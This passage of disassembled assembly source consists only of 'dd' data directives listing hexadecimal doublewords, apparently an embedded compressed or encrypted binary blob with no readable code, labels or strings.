		dd 104C60DCh, 0B9008F23h, 0F463E761h, 5961160h,	0C5941E38h
		dd 265C001Fh, 37B31903h, 96CB0400h, 4E56A2D5h, 28DE0310h
		dd 47389BD2h, 0FB7AAA98h, 0AD7C2903h, 9CCCD970h, 0CB717108h
		dd 172DF710h, 8A289B00h, 14D419AAh, 0C93926B2h,	0B4F80820h
		dd 0A6B3BD42h, 20E07CB0h, 0F204B9C1h, 0B5E7A237h, 4583488h
		dd 3ECC514Dh, 86CDED8h,	80C92D70h, 2DF918Eh, 7C64E395h
		dd 733165B8h, 97C63B8h,	84D564B3h, 0C05F92B4h, 389449CBh
		dd 38A4D33Dh, 12A04C40h, 3263BE9Bh, 0B6108C1Ch,	1BD588E3h
		dd 0C56F59E2h, 902819D8h, 80C41E12h, 6A8FCE00h,	0CF406D0Ch
		dd 692D248Ah, 2610128h,	3221C977h, 0B4AF0050h, 0A2698A9Fh
		dd 72B00FBh, 870F6261h,	210E37E5h, 267E8Bh, 3B2E5AD7h
		dd 0D939C645h, 5743B09Fh, 0D24C9822h, 96202C0h,	0C0C5A8B8h
		dd 8092633Ch, 1848D870h, 0BFAAC1ACh, 0DC34101Eh, 0A0730065h
		dd 0C0253575h, 0C50E195Ah, 613FDDE5h, 0F8C41621h, 0C2D6F460h
		dd 81C08A31h, 0E7C2B090h, 31FD7172h, 7CC3C49Ah,	3C524106h
		dd 0B9C621h, 53FC7236h,	0E6018D04h, 0A86ED400h,	5F277B37h
		dd 0C8B42412h, 0C86B10E0h, 8DC4428Eh, 7EC023h, 3DCE5C79h
		dd 4A072866h, 7DEB8500h, 1840C62Dh, 528917F7h, 3000413h
		dd 2C1941B8h, 0FDC3154Ah, 0EC30B816h, 0A030CF7Bh, 0F2F808h
		dd 74966185h, 0F5DB1542h, 671CAD17h, 26BB4832h,	0AA1C3439h
		dd 25859F43h, 0B81E9567h, 0E4118CACh, 1C14E600h, 99FE385Bh
		dd 801C1E58h, 0CB9BF087h
		dd 80323C0Dh, 59D73398h, 2F0552D8h, 3E976F8Ah, 36EDDC21h
		dd 91B54860h, 779365DCh, 0C4A10840h, 9F2C8783h,	33A83A6h
		dd 0BCCDCBB2h, 8D808266h, 0E0906D18h, 4AD86520h, 2B144521h
		dd 0DC9E0009h, 2ED03328h, 0BF869E09h, 805800BAh, 3AC1D60h
		dd 0CA45978Bh, 0E1E3A6A9h, 87C2A48Ah, 8D439444h, 28E4772Ah
		dd 50703F9Ah, 20A394F2h, 3C44FDAFh, 71F30085h, 399B8EB0h
		dd 55F8129Ch, 86343103h, 1EB0FD8h, 0C051E1E9h, 63583BD2h
		dd 1B9850B0h, 4F3E0342h, 37601E40h, 5CFA461h, 0DB07010Dh
		dd 164D0243h, 27A02084h, 0FE928B40h, 351CA1BEh,	2C4C2010h
		dd 0CF1F5A00h, 0F12E61F8h, 0C574822h, 43602F26h, 47881143h
		dd 800647Ah, 61C50E29h,	908A92F9h, 0FA93E44h, 1936CA81h
		dd 0F25B7E40h, 4AA0FC4Bh, 96482769h, 245FC0B8h,	0A62CE8h
		dd 65F204FCh, 0C5AC4FA7h, 0A834499h, 0A81A67E0h, 7CCC5Eh
		dd 96BE29EBh, 0F8F36BA8h, 0A411DCB9h, 80133B0Ch, 74603061h
		dd 313366B9h, 5D730003h, 0DE2E426Bh, 8D0098F6h,	4F50BC1Bh
		dd 0A075612Fh, 889A1794h, 70887C16h, 0DC22F7AAh, 8B009522h
		dd 0E4F308E0h, 1E23CFEEh, 879EFB4Fh, 1FA685D7h,	64481FC9h
		dd 0F65B1CA4h, 7B97F8h,	1A4984EDh, 6CE0DCD8h, 0B290C75Ch
		dd 4934417Bh, 0C040E10Ch, 2C1550A0h, 0DD980044h, 60E0818Dh
		dd 700F9E7Eh, 65FB8F95h, 6CC19C41h, 9F00EC37h, 0C8962C38h
		dd 0C0A0A242h, 6743996Ch, 0B53B193Fh, 2148C765h, 71896924h
		dd 62BE21BCh, 0A9FD35BCh, 0BB7D0091h, 54DAF100h, 1B404896h
		dd 88E72F42h, 58721581h, 5947D107h, 88E25D2Eh, 4A1C607Ah
		dd 0E88150AEh, 0AC4286EFh, 7C964511h, 54444328h, 19AA5E33h
		dd 0F619E116h, 0BB604474h, 0EE3300ACh, 512BE7A5h, 297DC800h
		dd 0DE6520FAh, 34483B57h, 36C16187h, 23F961F0h,	745438E7h
		dd 55C0E350h, 0B8642086h, 0D9BF3030h, 22BF711h,	5854101Dh
		dd 0D46049D5h, 3788D7EBh, 0C2960775h, 21CDC8A6h, 4C30FACEh
		dd 0D21B08F4h, 0E3111991h, 0F76BF1CEh, 89AE844Ch, 0D72830EDh
		dd 90DBD540h, 876D2C18h, 37E800DEh, 0C3954569h,	4757DD01h
		dd 8CAE1162h, 7B48C420h, 210E4482h, 84819460h, 1DEE5DBh
		dd 0F0AC77EBh, 7AFD59h,	89D7CAE3h, 41FC36C9h, 97FC20BCh
		dd 0D5708B0Bh, 12D404A1h, 0E3610A4h, 0A4B80509h, 4CC13700h
		dd 0AB020CD6h, 1D24E797h, 20244613h, 3900A816h,	4589B8F8h
		dd 0B236931Bh, 0C041442Ch, 1A90407h, 213016DAh,	8083BF2Bh
		dd 0ED0062D9h, 0B4B89AA8h, 6653A91h, 3657112Fh,	3E3091C4h
		dd 0DEC280A6h, 35992C41h, 5F3B4258h, 7370AC6Eh,	22A44A84h
		dd 392290B8h, 3BBC46A2h, 800CE8Ah, 1B42944Bh, 7A005FC2h
		dd 0AD569D44h, 365D89B9h, 70F1CE53h, 0B86E6C10h, 0D4273027h
		dd 7047C7A5h, 0E4E8EF4Eh, 0B3254D0Bh, 437C108Dh, 37E6880Bh
		dd 1D54BC48h, 821E0E22h, 9508C82Eh, 80982C04h, 3AE78925h
		dd 0D0E3E687h, 0A532C483h, 19A7E09Dh, 2297109Eh, 0EB6B8891h
		dd 5B6EB400h, 5045BC77h, 0CC3201CDh, 0B8707504h, 9DA03CEAh
		dd 9E790E2h, 0AFEEA06Fh, 10CFA049h, 0ABCEA639h,	0FE38F184h
		dd 0C0DD8217h, 0F042C924h, 80E0248Ah, 0E890F954h, 31E56920h
		dd 3851C521h, 9B56D4B0h, 0FE51DC00h, 5FDA72F3h,	0D9ED011Dh
		dd 30D66E0Ah, 58703332h, 3CF2243Ch, 782C0F17h, 680364D5h
		dd 388A00EAh, 3FFF27h, 89DC756Fh, 0AE6BD095h, 8DCEB48h
		dd 4FA8A3CDh, 8CBFC5A2h, 3BBDA02Fh, 12AE54B3h, 8EB92031h
		dd 21785824h, 417B9825h, 0C8A070C7h, 0ECA61897h, 7F98E66Eh
		dd 0AC315113h, 4B7041F3h, 85A51DAAh, 0FB7240C5h, 0C92021F2h
		dd 0A3BE8405h, 0F448DDFFh, 0BF708499h, 97D541E3h, 64224236h
		dd 0D1E8658h, 81B1D3AAh, 5DCD784h, 99364009h, 0C4339CB8h
		dd 0A2D48874h, 6DA03F83h, 905CCC2Ch, 5B62DF7Dh,	37140493h
		dd 0C33006DEh, 0C1530549h, 11E50729h, 0D10528B4h, 882F38C5h
		dd 0AF0089E4h, 2B96F7F4h, 3A327105h, 630392BFh,	0FD9C82FAh
		dd 96780A88h, 4388B5Ch,	95BFACF4h, 0F3B64640h, 5F008E88h
		dd 8D1431BCh, 56B1625h,	23EDBB05h, 4F448197h, 9BDE08EFh
		dd 20531FC0h, 0A8A47079h, 0DC2C4CB4h, 51BD5962h, 0ED2C008Ch
		dd 0CCB5537Eh, 3F8E0D48h, 0C4225A6Bh, 0DD2123FAh, 88A5100h
		dd 5E068973h, 0E96817E3h, 3B4C098Dh, 3944B980h,	0F4068665h
		dd 0E1FB431h, 0E09AEE41h, 0F9D0175h, 0BD38395Eh, 0ED29D4F4h
		dd 31142200h, 2DA33B43h, 0A48800D9h, 0A7C742A5h, 724CD533h
		dd 8B4C3Fh, 0C1B93CB5h,	7CA3B92h, 0A9E1C4D2h, 0E23751BFh
		dd 0D8D69297h, 3B211C30h, 2C4B16Bh, 73531EC8h, 7B546898h
		dd 5A014870h, 0FF9FA9EDh, 0C4F6E869h, 0CA54A144h, 0D8B622D2h
		dd 8CBAE27h, 0BD84B8C3h, 3909A80Bh, 0BA0A8483h,	0C2AA7EA8h
		dd 80686738h, 0B696BD9Bh, 509C2D57h, 9135B0B1h,	11242C74h
		dd 96C700A8h, 0C1235522h, 4E894EBh, 5C769B4Dh, 124494E2h
		dd 0D8A84A8Fh, 9FF910D8h, 0E9BF00E2h, 84EC20C8h, 5600D72Fh
		dd 12F4351Fh, 5938A91Ch, 0DE2224D0h, 6199C030h,	1F5F4B68h
		dd 0AA1EF8C7h, 444C989Ch, 34289A89h, 9B443811h,	32F200C5h
		dd 0B6C0219h, 560088FBh, 6F5A7A43h, 5C27E10Fh, 0A0413DDFh
		dd 257C64D6h, 6038B4BEh, 931E988Eh, 0ADC22634h,	40FC08A4h
		dd 13F60CDBh, 881F859h,	0D762FF28h, 3C97002Ah, 0AA7135A2h
		dd 56D3B601h, 2C3DBF89h, 3EFD8421h, 45211C33h, 0CF853790h
		dd 10E0C82Dh, 44F2279h,	43AC6447h, 0B804D635h, 0DF48D719h
		dd 51049880h, 465DDE6h,	1CADE0FEh, 8EF0CC7Bh, 0D903CA8Bh
		dd 57B50340h, 9AD404Eh,	0D46849E4h, 1165BEF1h, 948294B9h
		dd 96391903h, 4433CE41h, 47788929h, 5483CC4h, 1B6A58DDh
		dd 1173C340h, 4B0E6BA8h, 0FAEBD0Ch, 53198830h, 57289CB5h
		dd 0ECD9A07Ch, 9C2F1436h, 9608F417h, 0C8F9423h,	0BF07437Ah
		dd 47C38779h, 9EA9C092h, 7F511F4Bh, 0D01E57C7h,	8F52CB38h
		dd 416B227h, 0D932DDACh, 6F5C902Bh, 73420059h, 9FDDD835h
		dd 3A008B7Fh, 70843726h, 0E33899B9h, 246B9060h,	24F8C260h
		dd 0F37B60A4h, 3E79C8A8h, 98B81F00h, 0FBB3B916h, 589DF6A5h
		dd 5A266888h, 0A07B1E08h, 40583B35h, 1D0028A6h,	24D08256h
		dd 1000DA04h, 3A8C10Ah,	1F55DF94h, 0CCE6C34Eh, 3E31CD6Ah
		dd 0E714EC05h, 0DBC6A9DCh, 0CBA00751h, 0FA1CC8F4h, 20A44AF8h
		dd 4C71D38h, 9C8FB9B1h,	804CA2A5h, 15501FD0h, 0A8B0C8FCh
		dd 0B3D7C226h, 24D3A0Bh, 85993820h, 0B3806ED0h,	0C885B8h
		dd 7BBCAAA7h, 0B30F12EAh, 0CAE3402h, 0A03E0429h, 617AA9C4h
		dd 40910970h, 34104899h, 6B135EE6h, 6800DAE2h, 7F67C1CFh
		dd 0EAD80B87h, 540136ACh, 322D4297h, 0F0AE41B0h, 28030102h
		dd 99378115h, 2451B6F0h, 2D9BD8F2h, 90923814h, 0E3324B01h
		dd 0C8802140h, 1021BE0h, 57F57020h, 71E1F439h, 5688304Bh
		dd 11C35173h, 0A038336h, 2C256F29h, 0F8C1186Ch,	6A253CA4h
		dd 0B8B0909Ah, 0E42F5853h, 0FB6F3283h, 37D1C8F0h, 790FD700h
		dd 0A9E2EAFEh, 7FBA0073h, 0F727FADDh, 3A01C3E8h, 169E28F9h
		dd 0F855DECCh, 945AD887h, 0C7C07041h, 40CBD9BAh, 77E4ACECh
		dd 3D029AAAh, 0E7A721BBh, 0AD452C4h, 18362D71h,	0C12C3EA4h
		dd 370F6434h, 535E4098h, 97800DE2h, 4EE173B8h, 45342234h
		dd 7A08C810h, 0D47A28BDh
		dd 8B98C810h, 25C4748Eh, 74C0988Dh, 5CEB1Eh, 7149F712h
		dd 273F4EE0h, 0C8E4CF12h, 75F70C8h, 0BDA238Fh, 64B6E354h
		dd 486E6BC9h, 9C42BC80h, 0CC1E9722h, 4CC01522h,	66884B64h
		dd 823E00ADh, 13EAC686h, 120945F4h, 0BCE99E5h, 11206874h
		dd 1037007Fh, 79B89B78h, 4F07C0C5h, 5334BC38h, 3AF795D0h
		dd 3185625Dh, 946C4D9Ah, 60160B4Bh, 143088h, 2E8381Eh
		dd 4B2B9C6Fh, 0F41E12F0h, 99DF553Ah, 0B40ED5h, 755F25CCh
		dd 0F176C1h, 0DF474129h, 0E6A138AEh, 6BE1D30Ah,	9A869ABEh
		dd 4879714Ch, 22800021h, 9F854BDBh, 73617507h, 97004066h
		dd 29F40215h, 929C5DAEh, 3BB004DBh, 0B5D94092h,	0EB13264Fh
		dd 44340C70h, 6F0F8A3Dh, 0A789B669h, 0F896714Bh, 32392571h
		dd 0FE0690C8h, 0A1922100h, 4704CDFFh, 1CA37B7Ah, 80A02ACBh
		dd 0C115BD4Eh, 4901C601h, 458A8FDFh, 6423E31Bh,	0DB08B76h
		dd 0E85D1143h, 91571138h, 65F09A24h, 0E80C83E6h, 223E8107h
		dd 1B70ADA3h, 9CD412h, 0D508F3BCh, 98184296h, 61922237h
		dd 0E0C83770h, 0C34D004Bh, 6967EECCh, 0BB836D1h, 1224AC48h
		dd 74B27542h, 4B81C11h,	7B7828A9h, 2238ECB0h, 0BE10D7E3h
		dd 7C26AA3Ch, 7B94E00Ch, 67051606h, 0CF82E04Bh,	0DD348Ch
		dd 0D6B432E7h, 0E5437846h, 26AC584Ch, 0C8618C36h, 4040C31Ah
		dd 0C485AAh, 11078A81h,	7657F9C7h, 17006598h, 0EBD3A289h
		dd 2CA8DA5h, 3BDBBF4Bh,	48648E60h, 37463500h, 0AF40E59Bh
		dd 0F2DE2C87h, 3B810220h, 70609085h, 5500D7ADh,	0F7477199h
		dd 0F28D522h, 815D4C09h, 0C770E143h, 9859C492h,	780FA838h
		dd 0AF004CEEh, 4FFF9951h, 73F9EC2h, 38D146A4h, 0C144D765h
		dd 0C8F136D9h, 0BB4C71F5h, 62398040h, 4CF8095h,	0F77418ECh
		dd 0BF3C80B1h, 49CCEDCh, 2DAC9740h, 0F2A490F1h,	0E490EBh
		dd 4BD8EDDBh, 93243298h, 5840111Ch, 0D4CAC580h,	0C4E796B7h
		dd 160F0B30h, 72038C8h,	680C519Dh, 3583A934h, 0DCD0C6D5h
		dd 0B317AA86h, 44D1563Bh, 6C28D2C7h, 0A623B681h, 1F10FC73h
		dd 9DED5700h, 0CA37EA35h, 0F0324F97h, 0C9279C6Eh, 3C08901Ah
		dd 1CCB158h, 4F2436B9h,	0FB8BF26Ah, 0D80DE802h,	0D4BEED00h
		dd 80289BC0h, 0B56DE426h, 36013E59h, 5505467Ah,	0A4246F1Bh
		dd 5890C2h, 4AD0B06Ah, 428C5160h, 0BB1EC70Bh, 0F10ECE2h
		dd 0A5EE30C2h, 0AC504DA0h, 94001C01h, 25127D89h, 5049653h
		dd 0DE9A14FBh, 27C40CAh, 0CB6955F3h, 0E48B150Fh, 82B26BF0h
		dd 0F21F4BD0h, 0E80D00B4h, 5D3FB53Eh, 0DA04A252h, 6ACB9488h
		dd 23E2A882h, 0F1000F1Eh, 199A7EFCh, 0EDB389h, 38079124h
		dd 5C944D60h, 970CB2F2h, 31FE15A0h, 91077FF1h, 80B6008Ch
		dd 0BFE38E45h, 0C0B87CB8h, 4135A3Dh, 296D2F37h,	0F56B30A4h
		dd 0DC01B911h, 0A5F8C7FAh, 9E982F04h, 0CC40C522h, 4DABC949h
		dd 0F4153A00h, 0D8CBBB83h, 2F377CAh, 96983E46h,	0B9824FB6h
		dd 70FBEADAh, 711B8820h, 0B151B9BFh, 6C321303h,	98BEE608h
		dd 0F15BCC80h, 5891C171h, 0B2240210h, 0EB4200CBh, 5F2F4387h
		dd 46D8D627h, 295D0084h, 12B0AF6Fh, 76E6F764h, 0B82E0872h
		dd 30429C5Fh, 0E590A0CCh, 0D0F76Dh, 4EEE2FDBh, 32B2368Fh
		dd 0D742C090h, 77BC0A72h, 0AF540F37h, 0D8590C91h, 0A5000454h
		dd 0CBAA889Eh, 47B6EDh,	0D0C77109h, 5782B2Eh, 16289B07h
		dd 2F0BB76h, 0BBD8829h,	0C67BD097h, 0C1968885h,	80D621B8h
		dd 77557A59h, 7236002h,	0AE81465Dh, 0F51D300Ch,	90729F8Ah
		dd 0D9F2D100h, 34914942h, 77DE070Eh, 703C6381h,	89F7A0E0h
		dd 3629E501h, 0C8D8DF6Fh, 0FDE1186h, 4002980h, 0D72EBA28h
		dd 1D5D12h, 1EF34361h, 5CDEE333h, 0D6A58602h, 0E3ABC034h
		dd 2D900C5Fh, 1D985FB3h, 0F063CFA1h, 0A1007FBEh, 52F3C973h
		dd 0C0242A14h, 5D5E720h, 0A904574Fh, 9AEF65D3h,	25B38387h
		dd 7782269h, 82CAC30h, 1A1723h,	0E54B5144h, 4E0653BCh
		dd 6788F800h, 0C83A9F9Ch, 0E08CF609h, 5ADF00D2h, 59233038h
		dd 433BC5CEh, 86F00018h, 119CFE22h, 0DB9600B3h,	499FA394h
		dd 0D918F1BFh, 7DA823D0h, 77910CB2h, 61B1D22Eh,	7C3ADE00h
		dd 0BE0997D7h, 4A150075h, 29F7DFAAh, 281852CAh,	5DA82E7Fh
		dd 0C2FB00C6h, 7A83FF09h, 9B242B8Ch, 9A018767h,	974FF532h
		dd 9CB42881h, 803775F7h, 59555C39h, 1BBF95E1h, 1934D115h
		dd 3CDC9000h, 6FDE300Ch, 29B8007Ch, 8C611E1Bh, 0A2EED158h
		dd 2C945354h, 0C45BB22Ah, 7545080Ch, 0FC4935h, 0B1537ACDh
		dd 0C7BA253Ch, 0FD076775h, 589F329Ch, 0AB164341h, 0BF7C5D10h
		dd 7DD17F0Ah, 2E058CC6h, 0CC2208D5h, 2B93202Dh,	40E6305h
		dd 0C04D0FA3h, 0AC6AC1C6h, 8AA000CEh, 43EEDEA4h, 0C2062EFDh
		dd 60B22BB0h, 38C001A1h, 45144685h, 7900F776h, 291008AEh
		dd 13116DFh, 931BFD0Ah,	242A18D9h, 42882324h, 0CB3D00F7h
		dd 0C85AE1C7h, 0D80FB992h, 0ACD6C09Ch, 57DAEB7h, 56F5B8D4h
		dd 3798201Dh, 27805CFFh, 0EA860044h, 9A720DD3h,	0E51245BDh
		dd 2C068C64h, 0F11811h,	0D2317F8Ah, 0D7B93902h,	0E038620Fh
		dd 84288A30h, 207692h, 0B72C369h, 0F331C1BFh, 6F633080h
		dd 530079D1h, 7FB0DF9Bh, 48374008h, 1780B038h, 0AD0551C5h
		dd 6CB8C200h, 81952A27h, 0D8A8C0F2h, 2E14390Ah,	6CF09CABh
		dd 7D00C76Eh, 711098E0h, 777F95Eh, 3985418Fh, 76D1D237h
		dd 83520C61h, 1420D226h, 2E410057h, 0E6CDB2A5h,	290FA1BDh
		dd 669725C0h, 18910DADh, 0D11CDF16h, 92006FE5h,	0CADDD128h
		dd 54D92E59h, 0A4ACA0FBh, 34490980h, 0D300CF10h, 5605BD4h
		dd 0AC883738h, 803DE5D0h, 0FC660FC7h, 0C25831Eh, 0FA37CE1Fh
		dd 463CD849h, 82F0DB30h, 176700EDh, 7CBC2E20h, 89FAF1EAh
		dd 0A40070EAh, 2B1AD130h, 67D63Fh, 2E2D8E51h, 1E9CFA45h
		dd 0C33621Dh, 0E3DD61C0h, 2F23A0Ah, 0EFD45BB6h,	80A05214h
		dd 0C1E85CB9h, 0D1F1BA12h, 512C33h, 0AAE68A21h,	0FCA22D6Ah
		dd 9FF52407h, 9327F229h, 1049F87Ah, 48BFE5C4h, 821FE8C3h
		dd 0B1188F12h, 9C459BE3h, 9609CFC0h, 0B2FED101h, 0CA322507h
		dd 0B12C8883h, 701426AEh, 80A8FD38h, 0FED283B8h, 739114E7h
		dd 0F7018E3Fh, 43B0D11Bh, 0C137E4DDh, 0B52C4612h, 7DA3A430h
		dd 0DB8C03D3h, 984D7CE2h, 5468C8E2h, 177F1F9Ah,	0D931BA60h
		dd 1C2D97ACh, 0A6157636h, 9F664110h, 20CE602Bh,	32A4450Fh
		dd 16B198D4h, 29366AE0h, 9FAF0E28h, 0D643BF80h,	0F3017B0h
		dd 7CA39840h, 745B064h,	5BC6972Dh, 16A99F55h, 10AB2C23h
		dd 5F0695E8h, 873A923Dh, 593726C7h, 214614D7h, 45090028h
		dd 77359C41h, 657244F2h, 49D7F513h, 0F82C9C41h,	0D1800375h
		dd 0A729CA99h, 1603D5E0h, 0E5887027h, 72FC00EDh, 2EB0C8A3h
		dd 30C0CAF6h, 8C74C9D6h, 38B40091h, 10CC4A2Dh, 8C092F2h
		dd 0E12EA257h, 43B1C30Bh, 8DAB6EE0h, 0E0B896B9h, 6D0F1C17h
		dd 0C02F2B57h, 106A89E4h, 12557BB2h, 4052AC66h,	793B5010h
		dd 34065956h, 0DE5CD064h, 153F1480h, 0A911E0BAh, 4C04305Bh
		dd 98BBF6Dh, 0F24AA4D9h, 1437DC03h, 8958891Eh, 0BC06A1C0h
		dd 3BE17BA9h, 0BB80348Bh, 2E33693Eh, 0BE060CE0h, 71E4DA23h
		dd 3114DC40h, 8055AC41h, 12A9CB99h, 59B490Ah, 764D5A48h
		dd 4AF427D3h, 604C267Ch, 11B61405h, 0AEE0A80Ch,	3D894954h
		dd 0DB9F089Bh, 0E5774467h
		dd 5F9082C4h, 0B9200012h, 1071402h, 0FF446A30h,	0F32D03DDh
		dd 0FD4C2096h, 0EE91C04Ch, 848247h, 0C7FB2FF4h,	5219F51Ah
		dd 77204458h, 4FCC639h,	73841666h, 0B5174080h, 86A1183Eh
		dd 36B27131h, 1D41800h,	29D62F74h, 2C431475h, 2A0C70B6h
		dd 0FEA95C81h, 16608B06h, 4132D4h, 0FD42087Dh, 5F361D97h
		dd 8201C4ACh, 857FC5B7h, 0B8E71A33h, 109709Fh, 73B97AB5h
		dd 0DC74DE35h, 7C04E710h, 1CE98561h, 8833B484h,	2FC08139h
		dd 0C98E946h, 4C7F3D26h, 0DC922931h, 135610A1h,	78DDC3C1h
		dd 59AA12B1h, 2BBC0841h, 2C6024A6h, 0EDCC752h, 0B9F231B6h
		dd 30150D63h, 8BA94900h, 936869ABh, 12810077h, 0B5E832E2h
		dd 0B409E0C0h, 2253BFDFh, 2B35D3F8h, 4324C804h,	98DEFE43h
		dd 259CE5F7h, 10101814h, 4B00E01Fh, 0AEDF97FCh,	0D8C0243Ch
		dd 92E5D830h, 38B0389Ah, 227B0200h, 0E71C25C1h,	0CFC218DEh
		dd 4D2792Bh, 787D6040h,	0ABA18838h, 103BEE00h, 0A80CF12Eh
		dd 331805E6h, 0C0BB2495h, 5C7C86D8h, 12D64702h,	0AE59C9DEh
		dd 530AC598h, 0E0708053h, 5C2407D9h, 1486FC83h,	29002955h
		dd 0A0B6C0Ch, 0F1E134h,	0B0D22A88h, 380DBA63h, 2BABC118h
		dd 1E51361h, 282E671Fh,	0F853ACD8h, 781465D6h, 28C6662h
		dd 76301925h, 46A8A02Fh, 3B10D290h, 0F080B1C3h,	0CC7F286Bh
		dd 0B0A8A329h, 0B491ACEFh, 0A08B150Eh, 0CE5002E7h, 1C443F71h
		dd 193D8C8h, 0EEB180Ch,	0DE380040h, 0EDFF136Bh,	0A3D000FCh
		dd 8864B84Ch, 3AE8E05Ch, 0EC5215h, 0A9D5DF7Dh, 14575F0Dh
		dd 0C4CFAAFDh, 47183092h, 51E875DFh, 0D4BEB700h, 7904D9B0h
		dd 202E7744h, 0AC305CF9h, 0FD8C312Ah, 8540001Eh, 52D15426h
		dd 8D077CECh, 0E7D5A46Ah, 7083C944h, 0FF402145h, 52007820h
		dd 0F65A22D5h, 12CCC5A5h, 402C14B2h, 0AE6BEA40h, 9E005E1Eh
		dd 2192D052h, 0B2C7EC45h, 536104A4h, 0F0D775D5h, 0AC4A6769h
		dd 0EED08C40h, 1994957h, 9DE5222Dh, 80802A30h, 0C3462339h
		dd 50CCC6h, 67E442AEh, 47AA2036h, 251EB200h, 0A1C673DEh
		dd 3ADFE29Eh, 228588ACh, 406D5E17h, 0E8EA9CF4h,	0D3602E9Dh
		dd 0D07161B1h, 9855397Ch, 0A6043526h, 0AF59405Ch, 20FC0C18h
		dd 0A0AA0200h, 0E8D605F7h, 0CAE603A9h, 51ABDD3Eh, 8D00A17Dh
		dd 0E31064A3h, 2F8482Fh, 7DB6E060h, 0DC44D7AAh,	477C5898h
		dd 8B0EBE3Eh, 2458B2D5h, 24C0AB98h, 41AE2D27h, 0A9E0E052h
		dd 0FF877501h, 0C048FDF6h, 0C6F2020h, 176DBAFh,	0D2F093A9h
		dd 63E0F00h, 8D029B2Bh,	0EB3703C1h, 54A342E1h, 7C672FF0h
		dd 9E2653Ch, 3A74CEh, 7395BBCh,	0B0011FD6h, 0EAEC80DDh
		dd 0DB713185h, 0F234B200h, 687236D4h, 0D9FA098Ch, 2413ABBCh
		dd 0FD469BA8h, 1F53C300h, 0BEAFBD4Eh, 32FC114Ch, 8B280D8h
		dd 49B02D24h, 0D051048Ch, 1B0420E2h, 5E1E4E4Dh,	0E3C0DC1Ah
		dd 0EF3E6EE7h, 39430269h, 0B3AD9727h, 0B09A4C60h, 3B386102h
		dd 64F0DA13h, 0A3B20044h, 4203E94Ah, 1B52C0EDh,	748C01F0h
		dd 0E518D7B8h, 99E264C4h, 3F5E043Ch, 138C5ADh, 0E5411861h
		dd 0FD5C53D6h, 2CD87809h, 0B33C489Ch, 986D5C91h, 1268F417h
		dd 0BC4F8018h, 1FF82078h, 5058E42Eh, 0AC181311h, 0F8847150h
		dd 988FF604h, 0EC80CEEBh, 988B573h, 0B53B047h, 8F2A1081h
		dd 88143829h, 6020A62Dh, 0CA0D4050h, 0AF58E702h, 41260CECh
		dd 21840ED4h, 0C833DA16h, 890BBF20h, 8074B881h,	982A1C38h
		dd 613262AFh, 94AD21B6h, 72644918h, 18380038h, 8B177858h
		dd 4772E4h, 4BBE50DEh, 0B02B69F6h, 9048AA4Ah, 4C2580FAh
		dd 7B8C39E9h, 88AE8100h, 0C7263C56h, 3E940902h,	8843075h
		dd 6B24420Ah, 0D08043AAh, 0F435471h, 0BBDFD584h, 0A73F1FC0h
		dd 0C03B2FDh, 7531D619h, 23393CDBh, 3C5CF703h, 92C0ED41h
		dd 0DF29D158h, 0FC0FF0CAh, 939C142Eh, 0F0275C13h, 0F8B9ACC6h
		dd 0A284003Ah, 9D41B5E0h, 9C51780Dh, 706DD5A6h,	0DD000A05h
		dd 448EBB76h, 61AA07BAh, 144561EAh, 3DA05129h, 0D78BD03Ch
		dd 9F366B00h, 0D090ACCCh, 0DBD03F4h, 0ECE4EE6h,	5C48E9A7h
		dd 3F03DA5Fh, 8AB720DEh, 10F29431h, 402A821h, 5095C02Dh
		dd 74F9018Ch, 8B575DEh,	58E04330h, 468044E4h, 637CFD40h
		dd 9C27798Ch, 7190111Fh, 138F201h, 0A82C390Ah, 5B73A680h
		dd 49046CAAh, 94B18C7h,	0BC804885h, 885F8BD9h, 0E49022C0h
		dd 43406C94h, 0B41FE3h,	0EFBA7E4Fh, 0D56FDD9Dh,	0A1A74000h
		dd 6046A0DFh, 4C7C33h, 0B4DE79E7h, 0A653C885h, 23AEF400h
		dd 46C0BF4Dh, 4340B44Ah, 808CE6DEh, 0C6381B77h,	8C74D303h
		dd 88413D25h, 498077Ch,	0F4A8A081h, 36609252h, 119DFD20h
		dd 9CF200B7h, 7CBB3B32h, 25126FABh, 0EC064E15h,	0B692B14h
		dd 2F5F03EDh, 0CD693C80h, 7B76B128h, 0A9812925h, 78000814h
		dd 0E5692580h, 27AC65DFh, 8BD52Eh, 5000B009h, 3B474D36h
		dd 48148D5Ch, 3192244h,	731C93A4h, 0AC01E42h, 8A04BA2h
		dd 0F4F6C0B9h, 60291F18h, 802516A0h, 443E9809h,	0B3A214EDh
		dd 94B42948h, 6109380Ch, 0D08500DFh, 0A7B62329h, 171D2783h
		dd 93031121h, 98070F9Dh, 1FA35808h, 19E0B199h, 0D07018D4h
		dd 25726615h, 0F28AA10Eh, 177C8021h, 12037DB0h,	4630AC14h
		dd 0F6201E9Ch, 6CBFCE0Ah, 2F60D840h, 37E3EDAh, 7B0239FAh
		dd 0E5F9F3ABh, 6FCC24FDh, 9C7D8C09h, 9D48191Bh,	0F8E01202h
		dd 19C18C29h, 374B4123h, 0FA636C40h, 0B74302FFh, 0A948BA4Dh
		dd 0D3016050h, 42073867h, 4666C76h, 9C2ED558h, 0B9566078h
		dd 2507943Ah, 87DAB5F2h, 6810D640h, 3BBE7B14h, 8A01D20Ah
		dd 15C13198h, 211433ACh, 0BF440FADh, 0C068AB09h, 5E7CDE1Bh
		dd 7184A94Ch, 96E0149Eh, 6C75E9h, 97BD7E34h, 4ACCE7Dh
		dd 0DB07048h, 68367B43h, 80DDB042h, 0CBB4DF60h,	49E12D68h
		dd 56460C90h, 3C2E721Ch, 2FFA1189h, 4166868h, 5222B32Ch
		dd 7722041Eh, 5641C076h, 0D3BB22A8h, 60CFB01Ch,	5BB9BD02h
		dd 8F28E042h, 1BAD137Ch, 94CC75E7h, 858027B8h, 0AAC1BE9Fh
		dd 84307DE6h, 0D2D38828h, 0E816FB1Eh, 9C2F4943h, 0E97E0041h
		dd 6604F3D4h, 1D025540h, 97ACE5FEh, 345891h, 0F601C84Ah
		dd 4F53EF8Ah, 671F1EF2h, 9C0344ECh, 0E7BB5C4Ch,	6AE333A7h
		dd 0FE5FD043h, 7C342417h, 3FB46310h, 8C800D80h,	0C7CCDA03h
		dd 7E7328F4h, 0F74C13F8h, 0D43C9081h, 76302D38h, 6D5B1128h
		dd 0BF960014h, 12581D73h, 4939CDB8h, 0C8ABA63Ch, 3471B340h
		dd 0BE1C1E2Eh, 0B72B4511h, 96B82125h, 8829082Dh, 9901205Eh
		dd 921A4249h, 0F4F89454h, 0B8C029CBh, 0D63000A8h, 2C2D5C8Fh
		dd 2823A928h, 11578D21h, 1F58002Fh, 7F39CC4Fh, 0E9C002B1h
